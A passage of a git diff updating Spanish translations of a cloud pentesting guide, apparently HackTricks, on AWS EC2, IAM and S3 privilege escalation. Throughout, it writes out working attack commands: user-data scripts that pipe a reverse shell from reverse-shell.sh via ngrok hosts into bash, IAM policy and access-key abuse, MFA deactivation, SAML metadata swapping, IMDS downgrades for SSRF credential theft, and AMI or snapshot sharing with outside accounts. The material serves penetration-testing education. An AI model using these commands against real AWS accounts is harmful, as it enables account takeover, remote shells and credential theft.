(`--key-name`) y luego conéctate por ssh a ella (si quieres crear una nueva podrías necesitar el permiso `ec2:CreateKeyPair`). +Arranca una nueva instancia usando una **creada** **ssh key** (`--key-name`) y luego conéctate por SSH a ella (si quieres crear una nueva puede que necesites el permiso `ec2:CreateKeyPair`). ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ --iam-instance-profile Name= --key-name \ @@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ ``` - **Acceso vía rev shell en user data** -Puedes iniciar una nueva instancia usando **user data** (`--user-data`) que te enviará una **rev shell**. No necesitas especificar un security group de esta forma. +Puedes ejecutar una nueva instancia usando **user data** (`--user-data`) que te enviará una **rev shell**. No necesitas especificar security group de esta manera. ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh @@ -34,17 +34,17 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ --count 1 \ --user-data "file:///tmp/rev.sh" ``` -Ten cuidado con GuardDuty si usas las credenciales del IAM role fuera de la instancia: +Ten cuidado con GuradDuty si utilizas las credenciales del IAM role fuera de la instance: {{#ref}} ../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md {{#endref}} -**Impacto potencial:** privesc directo a cualquier EC2 role adjunto a perfiles de instancia existentes. +**Impacto potencial:** Privesc directo a cualquier EC2 role adjunto a instance profiles existentes. #### Privesc a ECS -Con este conjunto de permisos también podrías **crear una EC2 instance y registrarla dentro de un ECS cluster**. De este modo, los ECS **services** se **ejecutarán** dentro de la **EC2 instance** donde tienes acceso y entonces podrás penetrar esos servicios (docker containers) y **robar los ECS roles adjuntos**. +Con este conjunto de permisos también podrías **crear una EC2 instance y registrarla dentro de un ECS cluster**. De este modo, los **ECS services** se **ejecutarán** dentro de la **EC2 instance** a la que tengas acceso y entonces podrás comprometer esos servicios (docker containers) y **robar los ECS roles adjuntos**. ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -59,20 +59,20 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` -Para aprender cómo **forzar que los servicios ECS se ejecuten** en esta nueva instancia EC2, consulta: +Para saber cómo **forzar que los servicios de ECS se ejecuten** en esta nueva instancia EC2 revisa: {{#ref}} ../aws-ecs-privesc/README.md {{#endref}} -Si **no puedes crear una nueva instancia** pero tienes el permiso `ecs:RegisterContainerInstance` podrías ser capaz de registrar la instancia dentro del cluster y ejecutar el ataque comentado. +Si **no puedes crear una nueva instancia** pero tienes el permiso `ecs:RegisterContainerInstance`, podrías registrar la instancia dentro del cluster y llevar a cabo el ataque comentado. -**Potential Impact:** privesc directo a los roles de ECS adjuntos a las tareas. +**Potential Impact:** privesc directo a ECS roles adjuntos a tasks. ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** -De forma similar al escenario anterior, un atacante con estos permisos podría **cambiar el rol IAM de una instancia comprometida** para poder robar nuevas credenciales.\ -Como un instance profile solo puede tener 1 role, si el instance profile **ya tiene un role** (caso común), también necesitarás **`iam:RemoveRoleFromInstanceProfile`**. +Al igual que en el escenario anterior, un atacante con estos permisos podría **cambiar el IAM role de una instancia comprometida** para poder robar nuevas credenciales.\ +Dado que un instance profile solo puede tener 1 role, si el instance profile **ya tiene un role** (caso común), también necesitarás **`iam:RemoveRoleFromInstanceProfile`**. ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name @@ -80,17 +80,17 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` -Si el **instance profile has a role** y el atacante **cannot remove it**, hay otra solución. Podría **find** un **instance profile without a role** o **create a new one** (`iam:CreateInstanceProfile`), **add** el **role** a ese **instance profile** (como se explicó anteriormente), y **associate the instance profile** comprometido a una instancia comprometida i**nstance:** +Si el **instance profile tiene un role** y el atacante **no puede eliminarlo**, hay otra solución alternativa. Podría **encontrar** un **instance profile sin role** o **crear uno nuevo** (`iam:CreateInstanceProfile`), **añadir** el **role** a ese **instance profile** (como se discutió anteriormente), y **asociar el instance profile** comprometido a una comprometida i**nstance:** -- Si la instancia **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) +- Si la instance **no tiene ningún instance** profile (`ec2:AssociateIamInstanceProfile`) ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -**Impacto potencial:** Escalada de privilegios directa a un rol EC2 diferente (necesitas haber comprometido una instancia AWS EC2 y tener permisos adicionales o un estado específico del instance profile). +**Impacto potencial:** privesc directo a un role de EC2 diferente (necesitas haber comprometido una AWS EC2 instance y tener permisos adicionales o un estado específico del instance profile). ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -Con estos permisos es posible cambiar el instance profile asociado a una instancia, por lo que si el atacante ya tiene acceso a una instancia podrá robar credenciales de más roles de instance profile cambiando el que está asociado a la misma. +Con estos permisos es posible cambiar el instance profile asociado a una instancia, por lo que si el atacante ya tiene acceso a una instancia podrá robar credenciales de más roles de instance profile cambiando el asociado. - Si **tiene un instance profile**, puedes **eliminar** el instance profile (`ec2:DisassociateIamInstanceProfile`) y **asociarlo** ```bash @@ -98,16 +98,16 @@ aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Va aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -- o bien **reemplazar** el **perfil de instancia** de la instancia comprometida (`ec2:ReplaceIamInstanceProfileAssociation`). +- o **reemplazar** el **instance profile** de la instancia comprometida (`ec2:ReplaceIamInstanceProfileAssociation`). ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` -**Impacto potencial:** Direct privesc to a different EC2 role (necesitas haber comprometido una AWS EC2 instance y algún permiso adicional o un instance profile status específico). +**Impacto potencial:** Direct privesc a un EC2 role diferente (necesitas haber comprometido una instancia AWS EC2 y tener algún permiso adicional o un estado específico del instance profile). ### `ec2:RequestSpotInstances`,`iam:PassRole` -Un atacante con los permisos **`ec2:RequestSpotInstances`and`iam:PassRole`** puede **solicitar** una **Spot Instance** con una **EC2 Role attached** y una **rev shell** en el **user data**.\ -Una vez que la instancia se ejecute, puede **robar el IAM role**. +Un atacante con los permisos **`ec2:RequestSpotInstances` y `iam:PassRole`** puede **solicitar** una **Spot Instance** con un **EC2 Role attached** y una **rev shell** en los **user data**.\ +Una vez que la instancia esté en ejecución, puede **robar el IAM role**. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -119,9 +119,9 @@ aws ec2 request-spot-instances \ ``` ### `ec2:ModifyInstanceAttribute` -Un atacante con el **`ec2:ModifyInstanceAttribute`** puede modificar los atributos de la instancia. Entre ellos, puede **cambiar el user data**, lo que implica que puede hacer que la instancia **ejecute datos arbitrarios.** Lo cual puede usarse para obtener una **rev shell to the EC2 instance**. +Un atacante con el permiso **`ec2:ModifyInstanceAttribute`** puede modificar los atributos de las instancias. Entre ellos, puede **cambiar los datos de usuario**, lo que implica que puede hacer que la instancia **ejecute código arbitrario**. Esto puede usarse para obtener una **rev shell a la instancia EC2**. -Tenga en cuenta que los atributos solo pueden ser **modificados mientras la instancia esté detenida**, por lo que se requieren los **permisos** **`ec2:StopInstances`** y **`ec2:StartInstances`**. +Ten en cuenta que los atributos solo pueden **modificarse mientras la instancia está detenida**, por lo que se requieren los **permisos** **`ec2:StopInstances`** y **`ec2:StartInstances`**. ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \ aws ec2 start-instances --instance-ids $INSTANCE_ID ``` -**Impacto potencial:** Privesc directo a cualquier EC2 IAM Role adjunto a una instancia creada. +**Impacto potencial:** privesc directo a cualquier EC2 IAM Role adjunto a una instancia creada. ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -Un atacante con los permisos **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** puede crear una **nueva Launch Template versión** con un **rev shell en** los **user data** y **cualquier EC2 IAM Role en ella**, cambiar la versión por defecto, y **cualquier Autoscaler group** **que use** esa **Launch Templat**e que esté **configurada** para usar la **más reciente** o la **versión por defecto** volverá a **lanzar las instancias** usando esa plantilla y ejecutará el rev shell. +Un atacante con los permisos **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** puede crear una **new Launch Template version** con un **rev shell in** el **user data** y **any EC2 IAM Role on it**, cambiar la versión por defecto, y **any Autoscaler group** **using** esa **Launch Templat**e que esté **configured** para usar la **latest** o la **default version** volverá a **re-run the instances** usando esa plantilla y ejecutará el rev shell. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -176,11 +176,11 @@ aws ec2 modify-launch-template \ --launch-template-name bad_template \ --default-version 2 ``` -**Impacto potencial:** Privesc directo a un EC2 role diferente. +**Impacto potencial:** Direct privesc to a different EC2 role. ### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`) -Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **crear un Launch Configuration** con un **IAM Role** y un **rev shell** dentro del **user data**, luego **crear un autoscaling group** a partir de esa configuración y esperar a que el **rev shell** **robe el IAM Role**. +Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **create a Launch Configuration** con un **IAM Role** y un **rev shell** dentro del **user data**, luego **create an autoscaling group** a partir de esa configuración y esperar a que el **rev shell** **steal the IAM Role**. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -196,11 +196,11 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ --desired-capacity 1 \ --vpc-zone-identifier "subnet-e282f9b8" ``` -**Impacto potencial:** Privesc directo a un rol de EC2 diferente. +**Impacto potencial:** Privesc directo a un rol EC2 diferente. ### `!autoscaling` -El conjunto de permisos **`ec2:CreateLaunchTemplate`** y **`autoscaling:CreateAutoScalingGroup`** **no son suficientes para escalar** privilegios a un rol IAM porque, para adjuntar el rol especificado en la Launch Configuration o en la Launch Template, **se necesitan los permisos `iam:PassRole` y `ec2:RunInstances`** (que es un privesc conocido). +El conjunto de permisos **`ec2:CreateLaunchTemplate`** y **`autoscaling:CreateAutoScalingGroup`** **no son suficientes para escalar** privilegios a un rol IAM porque para adjuntar el rol especificado en la Launch Configuration o en la Launch Template **necesitas los permisos `iam:PassRole` y `ec2:RunInstances`** (lo cual es un privesc conocido). ### `ec2-instance-connect:SendSSHPublicKey` @@ -211,13 +211,13 @@ aws ec2-instance-connect send-ssh-public-key \ --instance-os-user "ec2-user" \ --ssh-public-key "file://$PUBK_PATH" ``` -**Impacto potencial:** privesc directo a los EC2 IAM roles adjuntos a instancias en ejecución. +**Impacto potencial:** Privesc directo a los IAM roles de EC2 adjuntos a instancias en ejecución. ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -Un atacante con el permiso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** puede **agregar una clave ssh a una conexión serial**. Si la consola serial no está habilitada, el atacante necesita el permiso **`ec2:EnableSerialConsoleAccess`** para habilitarla. +Un atacante con el permiso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** puede **añadir una ssh key a una conexión serial**. Si la consola serial no está habilitada, el atacante necesita el permiso **`ec2:EnableSerialConsoleAccess` para habilitarla**. -Para conectarse al puerto serial también **se necesita conocer el nombre de usuario y la contraseña de un usuario** dentro de la máquina. +Para conectarse al puerto serial también **es necesario conocer el nombre de usuario y la contraseña de un usuario** dentro de la máquina. ```bash aws ec2 enable-serial-console-access @@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` -Esta manera no es muy útil para privesc ya que necesitas conocer un nombre de usuario y contraseña para explotarlo. +Esta forma no es muy útil para privesc ya que necesitas conocer un nombre de usuario y una contraseña para explotarla. -**Potential Impact:** (Altamente imposible de demostrar) Privesc directo a los EC2 IAM roles adjuntos a las instancias en ejecución. +**Impacto potencial:** (Altamente difícil de probar) Privesc directo a los EC2 IAM roles asociados a las instancias en ejecución. ### `describe-launch-templates`,`describe-launch-template-versions` -Dado que los launch templates cuentan con versionado, un atacante con **`ec2:describe-launch-templates`** y **`ec2:describe-launch-template-versions`** permisos podría explotarlos para descubrir información sensible, como credenciales presentes en el user data. Para lograr esto, el siguiente script recorre todas las versiones de los launch templates disponibles: +Dado que los launch templates tienen versionado, un atacante con permisos **`ec2:describe-launch-templates`** y **`ec2:describe-launch-template-versions`** podría explotarlos para descubrir información sensible, como credenciales presentes en los user data. Para lograr esto, el siguiente script recorre todas las versiones de los launch templates disponibles: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do @@ -258,17 +258,12 @@ Suponiendo que encontremos `aws_access_key_id` y `aws_secret_access_key`, podemo - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) +### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft) +Un atacante con la capacidad de invocar `ec2:ModifyInstanceMetadataOptions` en una instancia EC2 víctima puede debilitar las protecciones de IMDS habilitando IMDSv1 (`HttpTokens=optional`) y aumentando el `HttpPutResponseHopLimit`. Esto hace que el endpoint de metadata de la instancia sea alcanzable a través de rutas comunes de SSRF/proxy desde aplicaciones que se ejecutan en la instancia. Si el atacante puede desencadenar un SSRF en dicha aplicación, puede recuperar las credenciales del instance profile y pivotar con ellas. - - - -### `ec2:ModifyInstanceMetadataOptions` (degradación de IMDS para habilitar el robo de credenciales mediante SSRF) - -Un atacante con la capacidad de invocar `ec2:ModifyInstanceMetadataOptions` en una instancia EC2 víctima puede debilitar las protecciones de IMDS habilitando IMDSv1 (`HttpTokens=optional`) y aumentando el `HttpPutResponseHopLimit`. Esto hace que el endpoint de metadata de la instancia sea accesible a través de rutas comunes de SSRF/proxy desde aplicaciones que se ejecutan en la instancia. Si el atacante puede desencadenar una SSRF en dicha aplicación, puede recuperar las credenciales del perfil de instancia y pivotar con ellas. - -- Permisos requeridos: `ec2:ModifyInstanceMetadataOptions` en la instancia objetivo (más la capacidad de alcanzar/desencadenar una SSRF en el host). -- Recurso objetivo: La instancia EC2 en ejecución con un perfil de instancia adjunto (rol IAM). +- Permisos requeridos: `ec2:ModifyInstanceMetadataOptions` en la instancia objetivo (más la capacidad de alcanzar/desencadenar un SSRF en el host). +- Recurso objetivo: La instancia EC2 en ejecución con un instance profile adjunto (IAM role). Ejemplo de comandos: ```bash @@ -297,11 +292,11 @@ aws sts get-caller-identity aws ec2 modify-instance-metadata-options --instance-id \ --http-tokens required --http-put-response-hop-limit 1 ``` -Impacto potencial: Robo de credenciales del perfil de instancia mediante SSRF, lo que puede conducir a escalada de privilegios y movimiento lateral con los permisos del rol de EC2. +Impacto potencial: Robo de credenciales del perfil de instancia mediante SSRF, lo que puede llevar a escalado de privilegios y movimiento lateral con los permisos del rol de EC2. ### `ec2:ModifyInstanceMetadataOptions` -Un atacante con el permiso ec2:ModifyInstanceMetadataOptions puede debilitar las protecciones del Instance Metadata Service (IMDS) — por ejemplo, forzando IMDSv1 (haciendo que HttpTokens no sea obligatorio) o incrementando HttpPutResponseHopLimit — facilitando así la exfiltración de credenciales temporales. El vector de riesgo más relevante es aumentar HttpPutResponseHopLimit: al incrementar ese límite de saltos (TTL), el endpoint 169.254.169.254 deja de estar estrictamente limitado al espacio de nombres de red de la VM y puede volverse accesible desde otros procesos/contenedores, permitiendo el robo de credenciales. +Un atacante que tenga el permiso ec2:ModifyInstanceMetadataOptions puede debilitar las protecciones del Instance Metadata Service (IMDS): por ejemplo, forzando IMDSv1 (haciendo que HttpTokens no sean obligatorios) o incrementando HttpPutResponseHopLimit, lo que facilita la exfiltración de credenciales temporales. El vector de riesgo más relevante es aumentar HttpPutResponseHopLimit: al incrementar ese límite de saltos (TTL), el endpoint 169.254.169.254 deja de estar estrictamente limitado al espacio de nombres de red de la VM y puede volverse accesible desde otros procesos/contenedores, permitiendo el robo de credenciales. ```bash aws ec2 modify-instance-metadata-options \ --instance-id \ @@ -311,9 +306,9 @@ aws ec2 modify-instance-metadata-options \ ``` ### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute` -Un atacante con los permisos ec2:ModifyImageAttribute y ec2:ModifySnapshotAttribute puede compartir AMIs o snapshots con otras cuentas de AWS (o incluso hacerlos públicos), exponiendo imágenes o volúmenes que pueden contener datos sensibles como configuraciones, credenciales, certificados o copias de seguridad. Al modificar los launch permissions de una AMI o los create-volume permissions de un snapshot, el atacante permite que terceros lancen instancias o monten discos desde esos recursos y accedan a su contenido. +Un atacante con los permisos ec2:ModifyImageAttribute y ec2:ModifySnapshotAttribute puede compartir AMIs o snapshots con otras cuentas de AWS (o incluso hacerlos públicos), exponiendo imágenes o volúmenes que pueden contener datos sensibles como configuraciones, credenciales, certificados o copias de seguridad. Al modificar los launch permissions de un AMI o los create-volume permissions de un snapshot, el atacante permite a terceros lanzar instancias o montar discos desde esos recursos y acceder a su contenido. -Para compartir una AMI con otra cuenta: +To share an AMI with another account: ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index 54636eb1b..b445abbd4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -12,30 +12,30 @@ Para más información sobre IAM consulta: ### **`iam:CreatePolicyVersion`** -Concede la capacidad de crear una nueva versión de la política de IAM, evitando la necesidad del permiso `iam:SetDefaultPolicyVersion` al usar el flag `--set-as-default`. Esto permite definir permisos personalizados. +Concede la capacidad de crear una nueva versión de una policy de IAM, evitando la necesidad del permiso `iam:SetDefaultPolicyVersion` al usar la bandera `--set-as-default`. Esto permite definir permisos personalizados. **Exploit Command:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**Impact:** Escala privilegios directamente al permitir cualquier acción en cualquier recurso. +**Impacto:** Escala privilegios directamente al permitir cualquier acción sobre cualquier recurso. ### **`iam:SetDefaultPolicyVersion`** -Permite cambiar la versión predeterminada de una IAM policy por otra versión existente, potencialmente escalando privilegios si la nueva versión tiene más permisos. +Permite cambiar la versión predeterminada de una política IAM a otra versión existente, lo que podría escalar privilegios si la nueva versión tiene más permisos. **Comando Bash:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**Impacto:** Indirect privilege escalation al habilitar más permisos. +**Impacto:** Escalada de privilegios indirecta al permitir más permisos. ### **`iam:CreateAccessKey`** -Permite crear access key ID y secret access key para otro usuario, lo que puede conducir a privilege escalation. +Permite crear access key ID y secret access key para otro usuario, lo que puede derivar en una escalada de privilegios. -**Exploit:** +**Explotación:** ```bash aws iam create-access-key --user-name ``` @@ -43,14 +43,14 @@ aws iam create-access-key --user-name ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Permite crear o actualizar un perfil de inicio de sesión, incluyendo el establecimiento de contraseñas para el inicio de sesión en la consola de AWS, lo que conduce a una escalada de privilegios directa. +Permite crear o actualizar un login profile, incluyendo establecer contraseñas para el inicio de sesión en la consola de AWS, lo que conduce a una escalada de privilegios directa. **Exploit para la creación:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Exploit para Actualización:** +**Exploit para actualización:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' @@ -59,13 +59,13 @@ aws iam update-login-profile --user-name target_user --no-password-reset-require ### **`iam:UpdateAccessKey`** -Permite habilitar una access key deshabilitada, lo que podría dar lugar a acceso no autorizado si el atacante posee la access key deshabilitada. +Permite habilitar una access key deshabilitada, lo que puede conducir a acceso no autorizado si el atacante posee la access key deshabilitada. **Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**Impacto:** Escalada de privilegios directa al reactivar claves de acceso. +**Impacto:** Escalada directa de privilegios al reactivar claves de acceso. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** @@ -79,31 +79,31 @@ aws iam create-service-specific-credential --user-name --service-name ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Impacto:** Escalada de privilegios directa dentro de los permisos del servicio del usuario. +**Impacto:** Escalada directa de privilegios dentro de los permisos del servicio del usuario. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Permite adjuntar políticas a usuarios o grupos, escalando directamente los privilegios al heredar los permisos de la política adjunta. +Permite adjuntar policies a usuarios o grupos, escalando directamente los privilegios al heredar los permisos de la policy adjunta. -**Exploit para usuario:** +**Exploit for User:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` -**Exploit para Group:** +**Exploit para el Grupo:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Impacto:** Escalada de privilegios directa a cualquier cosa que la política otorgue. +**Impact:** Escalada de privilegios directa a cualquier cosa que la política otorgue. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Permite adjuntar o insertar políticas en roles, usuarios o grupos, habilitando una escalada de privilegios directa al otorgar permisos adicionales. +Permite adjuntar o poner políticas en roles, usuarios o grupos, habilitando una escalada de privilegios directa al conceder permisos adicionales. **Exploit for Role:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` -**Exploit para políticas inline:** +**Exploit para Inline Policies:** ```bash aws iam put-user-policy --user-name --policy-name "" \ --policy-document "file:///path/to/policy.json" @@ -127,28 +127,28 @@ Puedes usar una política como: ] } ``` -**Impacto:** Escalada de privilegios directa añadiendo permisos mediante políticas. +**Impact:** Escalada de privilegios directa al agregar permisos mediante políticas. ### **`iam:AddUserToGroup`** -Permite añadirse a un grupo de IAM, escalando privilegios al heredar los permisos del grupo. +Permite agregarse a un grupo de IAM, escalando privilegios al heredar los permisos del grupo. -**Exploit:** +**Explotación:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**Impacto:** Escalada de privilegios directa hasta el nivel de permisos del grupo. +**Impacto:** Escalada de privilegios directa al nivel de los permisos del grupo. ### **`iam:UpdateAssumeRolePolicy`** -Permite alterar el documento de la política de asunción de un role, habilitando la asunción del role y sus permisos asociados. +Permite alterar el documento assume role policy de un role, habilitando la asunción del role y sus permisos asociados. **Exploit:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -Cuando la política se vea como la siguiente, la cual le otorga al usuario permiso para asumir el rol: +Cuando la policy tenga el siguiente aspecto, lo que le da al usuario permiso para assume the role: ```json { "Version": "2012-10-17", @@ -163,17 +163,17 @@ Cuando la política se vea como la siguiente, la cual le otorga al usuario permi ] } ``` -**Impacto:** Escalada de privilegios directa al asumir los permisos de cualquier rol. +**Impact:** Escalada de privilegios directa al asumir los permisos de cualquier rol. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** Permite subir una clave pública SSH para autenticarse en CodeCommit y desactivar dispositivos MFA, lo que puede conducir a una escalada de privilegios indirecta. -**Exploit para subida de clave SSH:** +**Exploit for SSH Key Upload:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` -**Exploit para la desactivación de MFA:** +**Exploit para desactivación de MFA:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` @@ -188,13 +188,13 @@ Permite la resincronización de un dispositivo MFA, lo que potencialmente puede aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impacto:** Escalada de privilegios indirecta al añadir o manipular dispositivos MFA. +**Impacto:** Escalada de privilegios indirecta añadiendo o manipulando dispositivos MFA. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Con estos permisos puedes **cambiar los metadatos XML de la conexión SAML**. Entonces, podrías abusar de la **federación SAML** para **login** con cualquier **rol que confíe** en ella. +Con estos permisos puedes **cambiar los metadatos XML de la conexión SAML**. Luego, podrías abusar de la **federación SAML** para **login** con cualquier **rol que confíe** en ella. -Ten en cuenta que al hacer esto **los usuarios legítimos no podrán login**. Sin embargo, podrías obtener el XML, poner el tuyo, login y volver a configurar el anterior. +Ten en cuenta que al hacer esto **los usuarios legítimos no podrán login**. Sin embargo, podrías obtener el XML, poner el tuyo, login y restaurar la configuración anterior. ```bash # List SAMLs aws iam list-saml-providers @@ -215,7 +215,7 @@ aws iam update-saml-provider --saml-metadata-document --saml-prov ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(No estoy seguro sobre esto) Si un atacante tiene estos **permisos** podría añadir una nueva **Thumbprint** para poder iniciar sesión en todos los roles que confían en el proveedor. +(No estoy seguro sobre esto) Si un atacante tiene estos **permisos** podría añadir un nuevo **Thumbprint** para poder iniciar sesión en todos los roles que confían en el proveedor. ```bash # List providers aws iam list-open-id-connect-providers @@ -226,7 +226,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ``` ### `iam:PutUserPermissionsBoundary` -Este permiso permite a un atacante actualizar el permissions boundary de un usuario, potencialmente escalando sus privilegios al permitirle realizar acciones que normalmente están restringidas por sus permisos existentes. +Este permiso permite a un atacante actualizar el límite de permisos de un usuario, potencialmente escalando sus privilegios al permitirle realizar acciones que normalmente están restringidas por sus permisos existentes. ```bash aws iam put-user-permissions-boundary \ --user-name \ @@ -249,7 +249,7 @@ Un ejemplo de una política que no aplica ninguna restricción es: ``` ### `iam:PutRolePermissionsBoundary` -Un actor con iam:PutRolePermissionsBoundary puede establecer un permissions boundary en un role existente. El riesgo surge cuando alguien con este permiso cambia el permissions boundary de un role: puede restringir indebidamente las operaciones (causando interrupción del servicio) o, si adjunta un permissions boundary permisivo, ampliar efectivamente lo que el role puede hacer y escalar privilegios. +Un actor con iam:PutRolePermissionsBoundary puede establecer un límite de permisos en un rol existente. El riesgo surge cuando alguien con este permiso cambia el límite de un rol: puede restringir indebidamente las operaciones (provocando interrupciones del servicio) o, si adjunta un límite permisivo, ampliar efectivamente lo que el rol puede hacer y escalar privilegios. ```bash aws iam put-role-permissions-boundary \ --role-name \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md index e24e9d552..0fec9fa91 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md @@ -6,9 +6,9 @@ ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -An attacker con esos permisos sobre buckets interesantes podría ser capaz de hijack resources y escalate privileges. +Un atacante con esos permisos sobre buckets interesantes podría secuestrar recursos y escalar privilegios. -Por ejemplo, an attacker con esos **permisos sobre un cloudformation bucket** llamado "cf-templates-nohnwfax6a6i-us-east-1" podrá hijack el despliegue. El acceso puede otorgarse con la siguiente política: +Por ejemplo, un atacante con esos **permisos sobre un bucket de cloudformation** llamado "cf-templates-nohnwfax6a6i-us-east-1" podrá secuestrar el despliegue. El acceso puede otorgarse con la siguiente política: ```json { "Version": "2012-10-17", @@ -34,29 +34,29 @@ Por ejemplo, an attacker con esos **permisos sobre un cloudformation bucket** ll ] } ``` -Y el secuestro es posible porque existe una **pequeña ventana de tiempo desde el momento en que la plantilla se sube** al bucket hasta el momento en que la **plantilla se despliega**. Un atacante podría simplemente crear una **lambda function** en su cuenta que **se active cuando se envíe una notificación del bucket**, y **secuestra** el **contenido** de ese **bucket**. +Y el secuestro es posible porque existe una breve ventana de tiempo desde el momento en que la **template** se sube al **bucket** hasta el momento en que la **template** se despliega. Un atacante podría crear una **lambda function** en su cuenta que se active cuando se envíe una notificación del **bucket**, y secuestre el **content** de ese **bucket**. ![](<../../../images/image (174).png>) -El Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) puede usarse para automatizar este ataque.\ -Para más información consulta la investigación original: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) +El módulo Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) puede usarse para automatizar este ataque.\ Para más información consulta la investigación original: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, 